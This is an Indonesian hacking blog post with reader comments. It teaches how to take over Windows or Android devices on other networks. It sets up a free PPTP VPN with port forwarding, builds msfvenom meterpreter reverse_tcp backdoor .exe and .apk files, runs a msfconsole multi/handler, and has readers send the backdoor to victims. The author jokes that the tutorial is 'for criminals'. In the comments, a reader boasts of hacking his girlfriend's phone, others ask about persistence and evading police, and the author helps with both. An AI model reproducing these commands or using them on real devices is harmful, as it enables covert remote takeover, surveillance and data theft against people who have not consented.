Hack Windows atau Android Beda Jaringan Dengan Metasploit
Jika sebelumnya saya bahas hack windows dengan metasploit masih dalam ruang lingkup lokal atau terbatas, tapi kali ini saya akan share tutorial bagaimana Hack Windows atau Android Beda Jaringan Dengan Metasploit yg hanya bermodalkan vpn gratisan dari ipjetable.
Saya buat tutorial ini karena banyak yg menginginkan tutorial ini, karena cukup bermodalkan vpn gratisan saja terutama di grup Kali Linux Indonesia :). Oke langsung saja kita mulai bahas tutorialnya.
Baca juga :
Pertama, kita harus menginstall kebutuhan pada desktop kita terlebih dahulu, yaitu vpn nya atau pptp nya dengan mengetikkan perintah berikut diterminal :
apt-get install network-manager-openvpn-gnome
apt-get install network-manager-pptp
apt-get install network-manager-pptp-gnome
apt-get install network-manager-strongswan
apt-get install network-manager-vpnc
apt-get install network-manager-vpnc-gnome
/etc/init.d/network-manager restart
Setelah menginstall semua kebutuhan untuk exploit ini,
Selanjutnya masuk dulu ke web mytemp.email, bisa klik ===> Disini
Web mytemp.email biasanya digunakan untuk pembuatan email secara instan yg digunakan untuk verifikasi web yg kurang terpercaya.
Setelah masuk web mytemp.email, tinggal klik saja "Start Here", lalu secara otomatis kita sudah mempunyai email instan yg akan kita gunakan pada step berikutnya dibagian daftar di ipjetable.
Atau kita bisa tambah email lagi dengan klik tombol "New Email".
Kemudian kita buka web ipjetablenya untuk mendapatkan vpn yg support port forward yg gratisan :D, oke bisa dibuka dilink berikut ===> Register Ipjetable.net
Setelah masuk web ipjetable, buka web mytemp.email tadi, lalu copykan email yg sudah jadi di web tersebut, misal [email protected], lalu copykan ke kolom register email di ipjetable, lalu isi captcha yg dibagian bawah kolom pengisian email tadi, dan biarkan kosong kolom yg dibawahnya lagi yg bertuliskan 16 letters, lalu klik tombol yg kuning "S'inscrire".
Jika sudah mengklik tombol kuning dan muncul tulisan berwarna hijau yg ada tulisan Merci !, berarti register berhasil, lalu cek email kita di mytemp.email tadi, lalu buka pesan dari ipjetablenya dan jangan klik link dari ipjetable dulu.
Jika sudah membuka email dari ipjetable tadi, copy link yg dikirimkan oleh ipjetable tadi dengan cara tekan klik kanan dibagian linknya, lalu pilih copy link location, lalu buka web ini free-proxy.xyz ===> free-proxy.xyz , lalu pastekan link yg diberikan tadi, lalu hapus link yg dipastekan tadi, misal setelah dipastekan jadinya seperti ini : https://xww.ro/?http://ipjetable.net/api/scr.php?af=0&code=MTQ4NDkwODM3NTp0dHF2QHNpbGl3YW5naS5nYTp0Zmk4MjI4OTg6M3poNDEzMTl6YTo4NjY1NzZhNTkzNDU1YzdjYzRmM2Y5NDhhY2UxZWI2Zg
Maka hapus bagian "https://xww.ro/?" menjadi seperti ini : http://ipjetable.net/api/scr.php?af=0&code=MTQ4NDkwODM3NTp0dHF2QHNpbGl3YW5naS5nYTp0Zmk4MjI4OTg6M3poNDEzMTl6YTo4NjY1NzZhNTkzNDU1YzdjYzRmM2Y5NDhhY2UxZWI2Zg
lalu klik unblock.
Maka kita akan diarahkan ke web ipjetable, disana kita masukkan username dan password sesuai dengan email yg kita terima tadi di mytemp, tinggal copy-paste saja lalu klik connexion, jika sudah konek, tinggal kita hubungkan vpn kita di pc kita dengan meng-klik pilihan diujung kanan atas desktop kita lalu pilih vpn, dan klik vpn setting, lalu akan muncul pengaturan networknya, kita klik icon "+" yg ada dibagian kiri bawah.
1. pilih vpn > Point to point tunneling protocol (PPTP).
2. bisa diberi nama bebas, gateway diisi dengan pptp.ipjetable.com
3. username diisi sesuai dengan yg diterima di email kita
4. password pun sama, diisi sesuai yg diterima di email.
5. lalu klik tombol "Advanced" dan ceklis bagian "use point-to-point encryption"
6. kemudian klik OK dan klik save.
Kemudian konekan lah pc kita ke vpn yg telah dibuat tadi, jika gagal konek, coba sekali lagi konek-an.
Jika sudah terhubung, langsung cek ip+port kita dengan membuka web ini : http://www.canyouseeme.org/
Lalu ip publik kita akan terlihat, nah disana kan ada kolom port, jika kita ingin exploit beda jaringan, kita harus membuka akses port kita. langkahnya :
1. silahkan masukkan port ke kolom port website tadi, masukkanlah port yg akan kita jadikan backdoor pada korban, misal 5555, seperti berikut :
2. Jika sudah memasukkan portnya untuk dicek, klik check port, lalu akan muncul tulisan yg menerangkan bahwa port kita sudah forward atau belum, jika belum akan muncul pesan "Error: I could not see your service on IPPUBLIKKITA on port (5555)",
3. Jika sudah forward, maka akan muncul pesan "Success: I can see your service on IPPUBLIKKITA on port (5555)
Your ISP is not blocking port 5555
4. Untuk mengatasi yg belum forward, pertama masukkan dulu port yg akan kita gunakan, lalu klik check port, nah akan muncul pesan error, misal kita gunakkan port 5555, lalu buka terminal kalian lalu ketikkan perintah berikut :
nc -vlp 5555Jika sudah mengetikkan perintah tersebut diterminal, lalu coba check port kalian lagi di web tadi, maka pesan error pun akan menjadi sukses, nah tinggal kita buat backdoornya, seperti berikut :
masuk dulu terminal dan ketikkan :
Ini Untuk Windows
msfvenom -p windows/meterpreter/reverse_tcp lhost=ippublikkalian lport=portygtadikitacheck R > namafile.exe
Ini Untuk Android
msfvenom -p android/meterpreter/reverse_tcp lhost=ippublikkalian lport=portygtadikitacheck R > namafile.apk
Setelah membuat backdoor, ketik perintah ini :
msfconsoleTunggu beberapa saat, lalu setelah masuk msfconsole, ketikkan beberapa perintah berikut :
use multi/handlerTekan enter, trus untuk windows ketik :
set payload windows/meterpreter/reverse_tcp
Untuk Android ketik :
set payload android/meterpreter/reverse_tcp
Setelah itu masukkan lhost kita :
set lhost IPPUBLIKSENDIRI
Lalu masukkan lport kita :
set lport PORTYGBERHASILFORWARD
Kemudian tinggal kita exploit :
exploit
Selama proses exploit, kirimkanlah backdoor yg sudah dibuat tadi, dan buka backdoor tersebut, jika android harus kita install terlebih dahulu. Jika sudah dibuka, maka sesi meterpreter-pun terbuka, tinggal kita oprek2 deh tuh korban :D.
Untuk videonya, bisa dibuka di link ini ===> https://youtu.be/Tjm85cZZ56U
Sekian saja tutor Hack Windows atau Android Beda jaringan dengan metasploit.
Ingat, tutorial ini hanya untuk kriminal saja, ehh pembelajaran saja :v,
sorry kalo kurang jelas, jika ada yg kurang paham, tinggal tanya lewat post komentar :)
Terima Kasih, salam Maxter
Karena kalo berbayar .. itu mahal
ردحذفmas kok di lepi ane install vpn ataugak pptpnya pasti ada bacaan E: Package 'appnya' has no installation candidate terus? solusinya om baru baru ini make kali
ردحذفFix repositorynya dulu mas, di blog ini ada kok cara fix repositorinya
حذفmas bagi reponya dong hehe, soalnya kalau gua pakai repo rolling sama sana pasti bakalan error, ini gua pakai repo moto baru stabil, gua pakai Linux kali 3.14-kali1-amd64 #1 SMP Debian 3.14.5-1kali1 (2014-06-07) x86_64 GNU/Linux
حذفkalau pake virtualbox tidak bisa ya ?
ردحذفBantu jawab ya, kalo mau pake virtual usahakan pake vm ware mas dan modenya brigded bukan nat. Itu berdasar dari pengalaman aja sih
حذفbisa pake virtual box juga, paling pake internet via kabal LAN, yg terpenting ada Interntetnya mas, thx buat mas "Anonymous" udah bantu jawab
حذفmas, kok saya ga konek-konek ke pvn nya ya ? fail mulu mas, mohon pencerahannya
ردحذفmas bisa langsung pm saya aja di facebook "Max Teroit" atau ini https://www.facebook.com/abie.siwanieun , biar cepat dibantu masalahnya
حذفCara dapet ip public nya gmna ?
ردحذفIP Publik didapat dari isp/penyedia internet
حذفkurang paham ane gan��
ردحذفane gak tau bahasa mesin
ente adalah anak meme yang hoki bisa paham komputer :v
ردحذفgan kenapa saat ane akses vpnnya, malah dimintai pasword untuk connect
ردحذفDi desktop ente atau diweb vpn nya ?
حذفdi desktopnya
حذفapakah hanya untuk sesaat,maksudnya ketika kita buka lain waktu apakah android yang kita hack masih konek,dan kalau masih konek gimana perintah untuk membuka android tersebut
ردحذفkarna ini pake vpn, otomatis ip publik akan berganti-ganti, sedangkan backdoor yg kita tanam kan sudah diset ip publiknya.
حذفjika masih terhubung, kita bisa lihat sesi yg terbuka dengan mengetik perintah "session -l" (tanpa tanda petik) didalam msfconsolenya
ini bisa untuk android yg pake data seluler gk? :D
ردحذفhack android ? yha bisa gan
حذفgan maksud di hack itu kita akses data nya atau remote ke android nya?
حذفdengan meremote, kita juga memiliki kemungkinan buat mengakses datanya :D
حذفGan kenapa waktu saya ketik apt-get install yg itu keluarnya no installation gitu gam
ردحذفitu bisa jadi karena repository nya yg belum bener gan, coba buka link ini untuk fix repositorinya gan http://www.maxteroit.com/2017/01/fix-repository-kali-linux-unable-to-locate.html
حذفgan konek ke vpn gagal mulu udh di ulang2 tetep gagal
ردحذفpm saya langsung di fb, nama fb saya Max Teroit, tv-an aj biar enak
حذفGk work om
ردحذفentenya aj yg kaga bisa, mungkin ada sesuatu yg salah, jgn pake dobel vpn,buktinya banyak yg work
حذفgan, ini buat sekali pake apa berkali2 ?
ردحذفmantapp gan. terimakasih. on process
ردحذفterimakasih tutornya sudah saya coba dan work 100% , akhirnya saya bisa ngehack hp pacar saya wkwkwkwkw
ردحذفntaps
ردحذفgagal di connect vpn mulu bang :(
ردحذفgan..
ردحذفgajadi ah :V
gan cara aktifin vpn nya gimana ?
ردحذفtinggal klik on nya bang, ada di kanan ujung katas,
حذفgan gagal connect vpn mulu nih, pas hari pertama baik" aja tuh vpn nya, pas sekitar semingguan gak bisa connect tuh vpn.
ردحذفtolong pencerahan nya gan!!
gan ini vpn nya aktif berapa hari? apakah ada penyedia vpn yang jangka aktifnya lama? saya sudah berhasil tapi kok keterangan email dari ipjetable kok cuma 2 hari, apakah sesi meterpreternya juga hanya 2 hari saja? Terima kasih.
ردحذفiyha gan 2 hari, kalo yg free yg ada paling 3 hari, kalo gk salah namanya ibvpn gan,
حذفoh gtu gan thanks pencerahan nya!
حذفberarti sesi meterpreternya 2 hari juga berlakunya? terus kalo pake ip public asli nggak pake vpn akibatnya apa?
ردحذفgan ini untuk exploitasi android androidnya harus instal exploitnya itu dulu ya gan ? apa langsung ke msfconsole dulu ?
ردحذفenaknya sih ke msfconsole dulu gan, biar terlihat action dari si korbannya :)
حذفmas saya kok gk bisa ya waktu ngesave auto eth0 di interfaces nya, tulisannya permission denied
ردحذفmakasih bang tutor nya berhasil :)
ردحذفoke congrats :)
حذفini harus pakai linux ya bang ?
ردحذفiyha ini pake linux bang :)
حذفBang... kok gagal konek ke vpnya terus ya? Bisa tolong kasih pencerahannya
ردحذفjgn double vpn, coba pake internet/provider lain, coba trus on kan sampe on, kalo masih belum bisa, bisa kontak saya langsung bang :) , TV-an
حذفGimana cara install pptp di vps yg support exploit port 4444 atau open all port
ردحذفPake ovpn bisa gk gan??
ردحذفkalo support port forward, berarti bisa gan :)
حذفIni Khusus OS Linux ya bang??
ردحذفiyha bang, kalo diwindows paling pake pentestbox atau virtual machine misal virtual box atau vm ware
حذفvpnnya cuma skali pakai ya? habis disconnect trus konek lagi ipnya ganti?
ردحذفiyha gitu gan
حذفMas itu satu komputer doang ya mas ?
ردحذفsaya coba akses 2 komputer kok nggak bisa
Min, itu kalau kita sudah buat backdoor (mis. LHOST 15.268.10.12) dan sudah brhasil masuk ke perangkatnya.. kalau kita sudah shutdown, dan ingin akses kmbali backdoor nya, dan dapat ip baru (mis. 122.167.98.11). Apa kita set LHOST dengan ip saat buat backdoor atau set LHOST dengan ip yang baru ? Mohon pencerahannya
ردحذفmakasih gan ane bisa, tutorialnya keren
ردحذفtapi ada gak gan vpn yg ip nya static tapi gratis hehehhe
jadi gini, pas bagian set lhost
ردحذفitu masukin ip local atau ip publik
karna ini beda jaringan jadi set lhostnya diisi ip publik
حذفGan.. kalo vpn nya di ganti sama ssh kira2 bisa gak? Mohon di jawab yah
ردحذفMakasih gan ilmunya
ردحذفsaya udah coba kok nggak bisa connect ya gan...
ردحذفBagus gan
ردحذفGan kalo exploit pake router gimana caranya?
ردحذفKalo buatnya pakai pd windows bisa nggak???
ردحذفGan, saat saya instal openvpn-gnome kok muncul tulisan 'Aurelien Jarno ' padahal repo nya udah di ubah seperti yang ada di blog ..
ردحذفMohon bantuannya gan ..
gan bantuin dong caranya aktifkan metasploit ,sy kebingungan nih mohon bantuannya
ردحذفGAN,kalo di lacak bisa nggak ame polisi jika kita bajak?apakah software ini aman melindungi perangkat kita atau hanya sekedar untuk kepentingan lain, gan mohon pencerahannya ,maaf jika ada tutur kata yang kurang berkenan dihati .....
ردحذفmas kasih tutor dong buat yang pake kali linux nethunter di android nih beda tampilannya
ردحذفthanks gan I am Begin And word
ردحذفmas makasih tutorialnya tapi saya mau tanya mas..., apa kita harus connectkan VPN nya kalo mau buka metasploit dan apa konfigurasinya akan tetap setiap kali buka atau harus setting lagi dari awal...? dan kalo pake jaringan wireless apa settingan interfacenya ke auto wlan0 ?
ردحذفbisa beda jaringan ? contohnya kita di linux make wifi dan target make data seluler.
ردحذفsya udah nyoba mas, tpi dia ngk berhasil ngebuka meterpreter nya...
ردحذفdia cuman :
[*] Sending stage (69048 bytes) to xxx.xxx.xxx.xx.
[*] Meterpreter session 4 opened (xxx.xxx.xxx.xx:1919 -> xxx.xxx.xxx.x:38371) at 2017-12-24 23:01:56 +0800
bagian meterpreternya ngk berhasil kebuka..
Iya saya juga sama seperti ini, tolong dong admin bantu kenapa permasalah nya
حذفgk sampe : meterpreter >
حذف???
udh nyoba ngulang mas ?
pada waktu membuat email, start here kok malah tampil halaman kosong ? mohon pencerahannya min
ردحذفbisa kontak langsung saya via email : [email protected] , supaya lebih jelas
حذفujung kanan dekstop mksudnya apa ya??
ردحذفmksih
kalo hostnya pakenya domain bisa ga mas ? jadi kalopun ip publick kita ganti kan tinggal mengganti setingan domainnya
ردحذفPake metasploit bisa dapet korban langsung banyak ga ? Apa harus 1 / 1 ?
ردحذفadit ppq:*
ردحذفgan ko mytempnya ga bisa dibuka
ردحذفbisa kok gan
حذفgan gagal d vpn trs
ردحذفcould not load vpn plugins
error openingdiectory etc/networkmanager/vpn.......
tlng bantuan ny gan..thnx
Kalo engga pake vpn bisa engga mas?
ردحذفbang kalo seumpama jaringan internet saya mati,apakah backdoor nya masih bisa di panggil lg.mohon respon ya bang
ردحذفإرسال تعليق
Komentar Spam Akan kami Hapus